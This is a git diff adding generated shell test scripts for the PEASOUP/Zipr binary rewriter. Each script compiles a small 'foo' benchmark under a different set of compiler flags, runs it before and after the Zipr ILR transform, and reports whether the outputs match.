+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O2 -fPIC     -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O2 -fPIC     -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O2.no_pic.-fomit-frame-pointer.-g.-m32.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O2.no_pic.-fomit-frame-pointer.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..5167bd2f98aaefbf9596e5cc48f91f6b63a3f51d
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O2.no_pic.-fomit-frame-pointer.-g.-m32.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O2   -fomit-frame-pointer -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O2   -fomit-frame-pointer -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O2.no_pic.-fomit-frame-pointer.-g.-m64.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O2.no_pic.-fomit-frame-pointer.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..ed9d283274552abba404d3aaba4d13b709b53ed3
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O2.no_pic.-fomit-frame-pointer.-g.-m64.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O2   -fomit-frame-pointer -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O2   -fomit-frame-pointer -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O2.no_pic.-fomit-frame-pointer.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O2.no_pic.-fomit-frame-pointer.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..3a2d9b878172efc7c005778a5155551a272ad266
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O2.no_pic.-fomit-frame-pointer.no_debug.-m32.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O2   -fomit-frame-pointer   -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O2   -fomit-frame-pointer   -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O2.no_pic.-fomit-frame-pointer.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O2.no_pic.-fomit-frame-pointer.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..68b259ae77e76aeb175172229787de76c79498ce
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O2.no_pic.-fomit-frame-pointer.no_debug.-m64.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O2   -fomit-frame-pointer   -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O2   -fomit-frame-pointer   -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O2.no_pic.no_omit-fp.-g.-m32.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O2.no_pic.no_omit-fp.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..f8ee7c78d5271a58d9106b190524f53181adb96b
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O2.no_pic.no_omit-fp.-g.-m32.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O2     -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O2     -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O2.no_pic.no_omit-fp.-g.-m64.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O2.no_pic.no_omit-fp.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..3aeb59611226c807dfff16c4bf4a8f42b985eaa2
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.-O2.no_pic.no_omit-fp.-g.-m64.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
